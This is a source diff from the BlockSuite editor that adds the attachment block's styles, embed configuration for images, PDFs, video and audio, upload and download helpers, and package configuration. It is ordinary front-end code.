import { FONT_XS, PANEL_BASE } from '@blocksuite/affine-shared/styles';
import { css } from 'lit';
export const renameStyles = css`
.affine-attachment-rename-container {
${PANEL_BASE};
position: relative;
display: flex;
align-items: center;
width: 320px;
gap: 12px;
padding: 12px;
z-index: var(--affine-z-index-popover);
}
.affine-attachment-rename-input-wrapper {
display: flex;
min-width: 280px;
height: 30px;
box-sizing: border-box;
padding: 4px 10px;
background: var(--affine-white-10);
border-radius: 4px;
border: 1px solid var(--affine-border-color);
}
.affine-attachment-rename-input-wrapper:focus-within {
border-color: var(--affine-blue-700);
box-shadow: var(--affine-active-shadow);
}
.affine-attachment-rename-input-wrapper input {
flex: 1;
border: none;
outline: none;
background: transparent;
color: var(--affine-text-primary-color);
${FONT_XS};
}
.affine-attachment-rename-input-wrapper input::placeholder {
color: var(--affine-placeholder-color);
}
.affine-attachment-rename-extension {
font-size: var(--affine-font-xs);
color: var(--affine-text-secondary-color);
}
.affine-attachment-rename-overlay-mask {
position: fixed;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
z-index: var(--affine-z-index-popover);
}
`;
export const moreMenuStyles = css`
.affine-attachment-options-more {
box-sizing: border-box;
padding-bottom: 4px;
}
.affine-attachment-options-more-container {
display: flex;
flex-direction: column;
align-items: center;
color: var(--affine-text-primary-color);
border-radius: 8px;
padding: 8px;
background: var(--affine-background-overlay-panel-color);
box-shadow: var(--affine-shadow-2);
}
.affine-attachment-options-more-container > icon-button {
display: flex;
align-items: center;
padding: 8px;
gap: 8px;
}
.affine-attachment-options-more-container > icon-button[hidden] {
display: none;
}
.affine-attachment-options-more-container > icon-button:hover.danger {
background: var(--affine-background-error-color);
color: var(--affine-error-color);
}
.affine-attachment-options-more-container > icon-button:hover.danger > svg {
color: var(--affine-error-color);
}
`;
export const styles = css`
:host {
z-index: 1;
}
`;
@@ -0,0 +1,10 @@
import { AttachmentBlockComponent } from './attachment-block';
import { AttachmentEdgelessBlockComponent } from './attachment-edgeless-block';
export function effects() {
customElements.define(
'affine-edgeless-attachment',
AttachmentEdgelessBlockComponent
);
customElements.define('affine-attachment', AttachmentBlockComponent);
}
@@ -0,0 +1,232 @@
import {
type AttachmentBlockModel,
type ImageBlockProps,
MAX_IMAGE_WIDTH,
} from '@blocksuite/affine-model';
import { FileSizeLimitService } from '@blocksuite/affine-shared/services';
import {
readImageSize,
transformModel,
withTempBlobData,
} from '@blocksuite/affine-shared/utils';
import { type BlockStdScope, StdIdentifier } from '@blocksuite/block-std';
import type { Container } from '@blocksuite/global/di';
import { createIdentifier } from '@blocksuite/global/di';
import { Bound } from '@blocksuite/global/utils';
import type { ExtensionType } from '@blocksuite/store';
import { Extension } from '@blocksuite/store';
import type { TemplateResult } from 'lit';
import { html } from 'lit';
import { getAttachmentBlob } from './utils';
export type AttachmentEmbedConfig = {
name: string;
/**
* Check if the attachment can be turned into embed view.
*/
check: (model: AttachmentBlockModel, maxFileSize: number) => boolean;
/**
* The action will be executed when the 「Turn into embed view」 button is clicked.
*/
action?: (
model: AttachmentBlockModel,
std: BlockStdScope
) => Promise<void> | void;
/**
* The template will be used to render the embed view.
*/
template?: (model: AttachmentBlockModel, blobUrl: string) => TemplateResult;
};
// Single embed config.
export const AttachmentEmbedConfigIdentifier =
createIdentifier<AttachmentEmbedConfig>(
'AffineAttachmentEmbedConfigIdentifier'
);
export function AttachmentEmbedConfigExtension(
configs: AttachmentEmbedConfig[] = embedConfig
): ExtensionType {
return {
setup: di => {
configs.forEach(option => {
di.addImpl(AttachmentEmbedConfigIdentifier(option.name), () => option);
});
},
};
}
// A embed config map.
export const AttachmentEmbedConfigMapIdentifier = createIdentifier<
Map<string, AttachmentEmbedConfig>
>('AffineAttachmentEmbedConfigMapIdentifier');
export const AttachmentEmbedProvider = createIdentifier<AttachmentEmbedService>(
'AffineAttachmentEmbedProvider'
);
export class AttachmentEmbedService extends Extension {
private get _maxFileSize() {
return this.std.store.get(FileSizeLimitService).maxFileSize;
}
get keys() {
return this.configs.keys();
}
get values() {
return this.configs.values();
}
get configs(): Map<string, AttachmentEmbedConfig> {
return this.std.get(AttachmentEmbedConfigMapIdentifier);
}
constructor(private readonly std: BlockStdScope) {
super();
}
static override setup(di: Container) {
di.addImpl(AttachmentEmbedConfigMapIdentifier, provider =>
provider.getAll(AttachmentEmbedConfigIdentifier)
);
di.addImpl(AttachmentEmbedProvider, this, [StdIdentifier]);
}
// Converts to embed view.
convertTo(model: AttachmentBlockModel, maxFileSize = this._maxFileSize) {
const config = this.values.find(config => config.check(model, maxFileSize));
if (!config?.action) {
model.doc.updateBlock(model, { embed: true });
return;
}
config.action(model, this.std)?.catch(console.error);
}
embedded(model: AttachmentBlockModel, maxFileSize = this._maxFileSize) {
return this.values.some(config => config.check(model, maxFileSize));
}
render(
model: AttachmentBlockModel,
blobUrl?: string,
maxFileSize = this._maxFileSize
) {
if (!model.embed || !blobUrl) return;
const config = this.values.find(config => config.check(model, maxFileSize));
if (!config || !config.template) {
console.error('No embed view template found!', model, model.type);
return;
}
return config.template(model, blobUrl);
}
}
const embedConfig: AttachmentEmbedConfig[] = [
{
name: 'image',
check: model =>
model.doc.schema.flavourSchemaMap.has('affine:image') &&
model.type.startsWith('image/'),
async action(model, std) {
const component = std.view.getBlock(model.id);
if (!component) return;
await turnIntoImageBlock(model);
},
},
{
name: 'pdf',
check: (model, maxFileSize) =>
model.type === 'application/pdf' && model.size <= maxFileSize,
template: (_, blobUrl) => {
// More options: https://tinytip.co/tips/html-pdf-params/
// https://chromium.googlesource.com/chromium/src/+/refs/tags/121.0.6153.1/chrome/browser/resources/pdf/open_pdf_params_parser.ts
const parameters = '#toolbar=0';
return html`<iframe
style="width: 100%; color-scheme: auto;"
height="480"
src=${blobUrl + parameters}
loading="lazy"
scrolling="no"
frameborder="no"
allowTransparency
allowfullscreen
type="application/pdf"
></iframe>`;
},
},
{
name: 'video',
check: (model, maxFileSize) =>
model.type.startsWith('video/') && model.size <= maxFileSize,
template: (_, blobUrl) =>
html`<video
style="max-height: max-content;"
width="100%;"
height="480"
controls
src=${blobUrl}
></video>`,
},
{
name: 'audio',
check: (model, maxFileSize) =>
model.type.startsWith('audio/') && model.size <= maxFileSize,
template: (_, blobUrl) =>
html`<audio controls src=${blobUrl} style="margin: 4px;"></audio>`,
},
];
/**
* Turn the attachment block into an image block.
*/
export async function turnIntoImageBlock(model: AttachmentBlockModel) {
if (!model.doc.schema.flavourSchemaMap.has('affine:image')) {
console.error('The image flavour is not supported!');
return;
}
const sourceId = model.sourceId;
if (!sourceId) return;
const { saveAttachmentData, getImageData } = withTempBlobData();
saveAttachmentData(sourceId, { name: model.name });
let imageSize = model.sourceId ? getImageData(model.sourceId) : undefined;
const bounds = model.xywh
? Bound.fromXYWH(model.deserializedXYWH)
: undefined;
if (bounds) {
if (!imageSize?.width || !imageSize?.height) {
const blob = await getAttachmentBlob(model);
if (blob) {
imageSize = await readImageSize(blob);
}
}
if (imageSize?.width && imageSize?.height) {
const p = imageSize.height / imageSize.width;
imageSize.width = Math.min(imageSize.width, MAX_IMAGE_WIDTH);
imageSize.height = imageSize.width * p;
bounds.w = imageSize.width;
bounds.h = imageSize.height;
}
}
const others = bounds ? { xywh: bounds.serialize() } : undefined;
const imageProp: Partial<ImageBlockProps> = {
sourceId,
caption: model.caption,
size: model.size,
...imageSize,
...others,
};
transformModel(model, 'affine:image', imageProp);
}
@@ -0,0 +1,11 @@
export * from './adapters/notion-html';
export * from './attachment-block';
export * from './attachment-service';
export * from './attachment-spec';
export { attachmentViewToggleMenu } from './components/options';
export {
type AttachmentEmbedConfig,
AttachmentEmbedConfigIdentifier,
AttachmentEmbedProvider,
} from './embed';
export { addAttachments, addSiblingAttachmentBlocks } from './utils';
@@ -0,0 +1,151 @@
import { css } from 'lit';
export const styles = css`
.affine-attachment-card {
margin: 0 auto;
box-sizing: border-box;
display: flex;
gap: 12px;
width: 100%;
height: 100%;
padding: 12px;
border-radius: 8px;
border: 1px solid var(--affine-background-tertiary-color);
opacity: var(--add, 1);
background: var(--affine-background-primary-color);
user-select: none;
}
.affine-attachment-content {
height: 100%;
display: flex;
flex-direction: column;
align-items: flex-start;
gap: 12px;
flex: 1 0 0;
border-radius: var(--1, 0px);
opacity: var(--add, 1);
}
.affine-attachment-content-title {
display: flex;
flex-direction: row;
gap: 8px;
align-items: center;
align-self: stretch;
padding: var(--1, 0px);
border-radius: var(--1, 0px);
opacity: var(--add, 1);
}
.affine-attachment-content-title-icon {
display: flex;
width: 16px;
height: 16px;
align-items: center;
justify-content: center;
}
.affine-attachment-content-title-icon svg {
width: 16px;
height: 16px;
fill: var(--affine-background-primary-color);
}
.affine-attachment-content-title-text {
display: -webkit-box;
-webkit-line-clamp: 1;
-webkit-box-orient: vertical;
word-break: break-all;
overflow: hidden;
text-overflow: ellipsis;
color: var(--affine-text-primary-color);
font-family: var(--affine-font-family);
font-size: var(--affine-font-sm);
font-style: normal;
font-weight: 600;
line-height: 22px;
}
.affine-attachment-content-info {
display: -webkit-box;
-webkit-box-orient: vertical;
-webkit-line-clamp: 1;
flex: 1 0 0;
word-break: break-all;
overflow: hidden;
color: var(--affine-text-secondary-color);
text-overflow: ellipsis;
font-family: var(--affine-font-family);
font-size: var(--affine-font-xs);
font-style: normal;
font-weight: 400;
line-height: 20px;
}
.affine-attachment-banner {
display: flex;
align-items: center;
justify-content: center;
}
.affine-attachment-banner svg {
width: 40px;
height: 40px;
}
.affine-attachment-card.loading {
background: var(--affine-background-secondary-color);
.affine-attachment-content-title-text {
color: var(--affine-placeholder-color);
}
}
.affine-attachment-card.error,
.affine-attachment-card.unsynced {
background: var(--affine-background-secondary-color);
}
.affine-attachment-card.cubeThick {
flex-direction: column-reverse;
.affine-attachment-content {
width: 100%;
flex-direction: column;
align-items: flex-start;
justify-content: space-between;
}
.affine-attachment-banner {
justify-content: flex-start;
}
}
.affine-attachment-embed-container {
position: relative;
width: 100%;
height: 100%;
}
.affine-attachment-iframe-overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
}
.affine-attachment-iframe-overlay.hide {
display: none;
}
`;
@@ -0,0 +1,343 @@
import { toast } from '@blocksuite/affine-components/toast';
import type {
AttachmentBlockModel,
AttachmentBlockProps,
} from '@blocksuite/affine-model';
import { defaultAttachmentProps } from '@blocksuite/affine-model';
import {
EMBED_CARD_HEIGHT,
EMBED_CARD_WIDTH,
} from '@blocksuite/affine-shared/consts';
import {
FileSizeLimitService,
TelemetryProvider,
} from '@blocksuite/affine-shared/services';
import { humanFileSize } from '@blocksuite/affine-shared/utils';
import type { BlockStdScope, EditorHost } from '@blocksuite/block-std';
import { GfxControllerIdentifier } from '@blocksuite/block-std/gfx';
import { Bound, type IVec, Point, Vec } from '@blocksuite/global/utils';
import type { BlockModel } from '@blocksuite/store';
import type { AttachmentBlockComponent } from './attachment-block.js';
export function cloneAttachmentProperties(model: AttachmentBlockModel) {
const clonedProps = {} as AttachmentBlockProps;
for (const cur in defaultAttachmentProps) {
const key = cur as keyof AttachmentBlockProps;
// @ts-expect-error it's safe because we just cloned the props simply
clonedProps[key] = model[
key
] as AttachmentBlockProps[keyof AttachmentBlockProps];
}
return clonedProps;
}
const attachmentUploads = new Set<string>();
export function setAttachmentUploading(blockId: string) {
attachmentUploads.add(blockId);
}
export function setAttachmentUploaded(blockId: string) {
attachmentUploads.delete(blockId);
}
function isAttachmentUploading(blockId: string) {
return attachmentUploads.has(blockId);
}
/**
* This function will not verify the size of the file.
*/
export async function uploadAttachmentBlob(
editorHost: EditorHost,
blockId: string,
blob: Blob,
filetype: string,
isEdgeless?: boolean
): Promise<void> {
if (isAttachmentUploading(blockId)) {
return;
}
const doc = editorHost.doc;
let sourceId: string | undefined;
try {
setAttachmentUploading(blockId);
sourceId = await doc.blobSync.set(blob);
} catch (error) {
console.error(error);
if (error instanceof Error) {
toast(
editorHost,
`Failed to upload attachment! ${error.message || error.toString()}`
);
}
} finally {
setAttachmentUploaded(blockId);
const block = doc.getBlock(blockId);
doc.withoutTransact(() => {
if (!block) return;
doc.updateBlock(block.model, {
sourceId,
} satisfies Partial<AttachmentBlockProps>);
});
editorHost.std
.getOptional(TelemetryProvider)
?.track('AttachmentUploadedEvent', {
page: `${isEdgeless ? 'whiteboard' : 'doc'} editor`,
module: 'attachment',
segment: 'attachment',
control: 'uploader',
type: filetype,
category: block && sourceId ? 'success' : 'failure',
});
}
}
export async function getAttachmentBlob(model: AttachmentBlockModel) {
const sourceId = model.sourceId;
if (!sourceId) {
return null;
}
const doc = model.doc;
let blob = await doc.blobSync.get(sourceId);
if (blob) {
blob = new Blob([blob], { type: model.type });
}
return blob;
}
export async function checkAttachmentBlob(block: AttachmentBlockComponent) {
const model = block.model;
const { id, sourceId } = model;
if (isAttachmentUploading(id)) {
block.loading = true;
block.error = false;
block.allowEmbed = false;
if (block.blobUrl) {
URL.revokeObjectURL(block.blobUrl);
block.blobUrl = undefined;
}
return;
}
try {
if (!sourceId) {
return;
}
const blob = await getAttachmentBlob(model);
if (!blob) {
return;
}
block.loading = false;
block.error = false;
block.allowEmbed = block.embedded();
if (block.blobUrl) {
URL.revokeObjectURL(block.blobUrl);
}
block.blobUrl = URL.createObjectURL(blob);
} catch (error) {
console.warn(error, model, sourceId);
block.loading = false;
block.error = true;
block.allowEmbed = false;
if (block.blobUrl) {
URL.revokeObjectURL(block.blobUrl);
block.blobUrl = undefined;
}
}
}
/**
* Since the size of the attachment may be very large,
* the download process may take a long time!
*/
export function downloadAttachmentBlob(block: AttachmentBlockComponent) {
const { host, model, loading, error, downloading, blobUrl } = block;
if (downloading) {
toast(host, 'Download in progress...');
return;
}
if (loading) {
toast(host, 'Please wait, file is loading...');
return;
}
const name = model.name;
const shortName = name.length < 20 ? name : name.slice(0, 20) + '...';
if (error || !blobUrl) {
toast(host, `Failed to download ${shortName}!`);
return;
}
block.downloading = true;
toast(host, `Downloading ${shortName}`);
const tmpLink = document.createElement('a');
const event = new MouseEvent('click');
tmpLink.download = name;
tmpLink.href = blobUrl;
tmpLink.dispatchEvent(event);
tmpLink.remove();
block.downloading = false;
}
export async function getFileType(file: File) {
if (file.type) {
return file.type;
}
// If the file type is not available, try to get it from the buffer.
const buffer = await file.arrayBuffer();
const FileType = await import('file-type');
const fileType = await FileType.fileTypeFromBuffer(buffer);
return fileType ? fileType.mime : '';
}
/**
* Add a new attachment block before / after the specified block.
*/
export async function addSiblingAttachmentBlocks(
editorHost: EditorHost,
files: File[],
maxFileSize: number,
targetModel: BlockModel,
place: 'before' | 'after' = 'after',
isEmbed?: boolean
) {
if (!files.length) {
return;
}
const isSizeExceeded = files.some(file => file.size > maxFileSize);
if (isSizeExceeded) {
toast(
editorHost,
`You can only upload files less than ${humanFileSize(
maxFileSize,
true,
0
)}`
);
return;
}
const doc = targetModel.doc;
// Get the types of all files
const types = await Promise.all(files.map(file => getFileType(file)));
const attachmentBlockProps: (Partial<AttachmentBlockProps> & {
flavour: 'affine:attachment';
})[] = files.map((file, index) => ({
flavour: 'affine:attachment',
name: file.name,
size: file.size,
type: types[index],
embed: isEmbed,
}));
const blockIds = doc.addSiblingBlocks(
targetModel,
attachmentBlockProps,
place
);
blockIds.forEach(
(blockId, index) =>
void uploadAttachmentBlob(editorHost, blockId, files[index], types[index])
);
return blockIds;
}
export async function addAttachments(
std: BlockStdScope,
files: File[],
point?: IVec,
transformPoint?: boolean // determines whether we should use `toModelCoord` to convert the point
): Promise<string[]> {
if (!files.length) return [];
const gfx = std.get(GfxControllerIdentifier);
const maxFileSize = std.store.get(FileSizeLimitService).maxFileSize;
const isSizeExceeded = files.some(file => file.size > maxFileSize);
if (isSizeExceeded) {
toast(
std.host,
`You can only upload files less than ${humanFileSize(
maxFileSize,
true,
0
)}`
);
return [];
}
let { x, y } = gfx.viewport.center;
if (point) {
let transform = transformPoint ?? true;
if (transform) {
[x, y] = gfx.viewport.toModelCoord(...point);
} else {
[x, y] = point;
}
}
const CARD_STACK_GAP = 32;
const dropInfos: { blockId: string; file: File }[] = files.map(
(file, index) => {
const point = new Point(
x + index * CARD_STACK_GAP,
y + index * CARD_STACK_GAP
);
const center = Vec.toVec(point);
const bound = Bound.fromCenter(
center,
EMBED_CARD_WIDTH.cubeThick,
EMBED_CARD_HEIGHT.cubeThick
);
const blockId = std.store.addBlock(
'affine:attachment',
{
name: file.name,
size: file.size,
type: file.type,
style: 'cubeThick',
xywh: bound.serialize(),
} satisfies Partial<AttachmentBlockProps>,
gfx.surface
);
return { blockId, file };
}
);
// upload file and update the attachment model
const uploadPromises = dropInfos.map(async ({ blockId, file }) => {
const filetype = await getFileType(file);
await uploadAttachmentBlob(std.host, blockId, file, filetype, true);
return blockId;
});
const blockIds = await Promise.all(uploadPromises);
gfx.selection.set({
elements: blockIds,
editing: false,
});
return blockIds;
}
@@ -0,0 +1,20 @@
{
"extends": "../../tsconfig.json",
"compilerOptions": {
"rootDir": "./src",
"outDir": "./dist",
"tsBuildInfoFile": "./dist/tsconfig.tsbuildinfo"
},
"include": ["./src"],
"references": [
{ "path": "../block-embed" },
{ "path": "../block-surface" },
{ "path": "../components" },
{ "path": "../model" },
{ "path": "../shared" },
{ "path": "../../framework/block-std" },
{ "path": "../../framework/global" },
{ "path": "../../framework/inline" },
{ "path": "../../framework/store" }
]
}
@@ -0,0 +1,44 @@
{
"name": "@blocksuite/affine-block-bookmark",
"description": "Bookmark block for BlockSuite.",
"type": "module",
"scripts": {
"build": "tsc",
"test:unit": "nx vite:test --run --passWithNoTests",
"test:unit:coverage": "nx vite:test --run --coverage",
"test:e2e": "playwright test"
},
"sideEffects": false,
"keywords": [],
"author": "toeverything",
"license": "MIT",
"dependencies": {
"@blocksuite/affine-block-embed": "workspace:*",
"@blocksuite/affine-components": "workspace:*",
"@blocksuite/affine-model": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/block-std": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.1",
"@blocksuite/inline": "workspace:*",
"@blocksuite/store": "workspace:*",
"@floating-ui/dom": "^1.6.10",
"@lit/context": "^1.1.2",
"@preact/signals-core": "^1.8.0",
"@toeverything/theme": "^1.1.11",
"lit": "^3.2.0",
"minimatch": "^10.0.1",
"zod": "^3.23.8"
},
"exports": {
".": "./src/index.ts",
"./effects": "./src/effects.ts"
},
"files": [
"src",
"dist",
"!src/__tests__",
"!dist/__tests__"
],
"version": "0.19.0"
}
@@ -0,0 +1,13 @@
import type { ExtensionType } from '@blocksuite/store';
import { BookmarkBlockHtmlAdapterExtension } from './html.js';
import { BookmarkBlockMarkdownAdapterExtension } from './markdown.js';
import { BookmarkBlockNotionHtmlAdapterExtension } from './notion-html.js';
import { BookmarkBlockPlainTextAdapterExtension } from './plain-text.js';
export const BookmarkBlockAdapterExtensions: ExtensionType[] = [
BookmarkBlockHtmlAdapterExtension,
BookmarkBlockMarkdownAdapterExtension,
BookmarkBlockNotionHtmlAdapterExtension,
BookmarkBlockPlainTextAdapterExtension,
];

Some files were not shown because too many files have changed in this diff Show More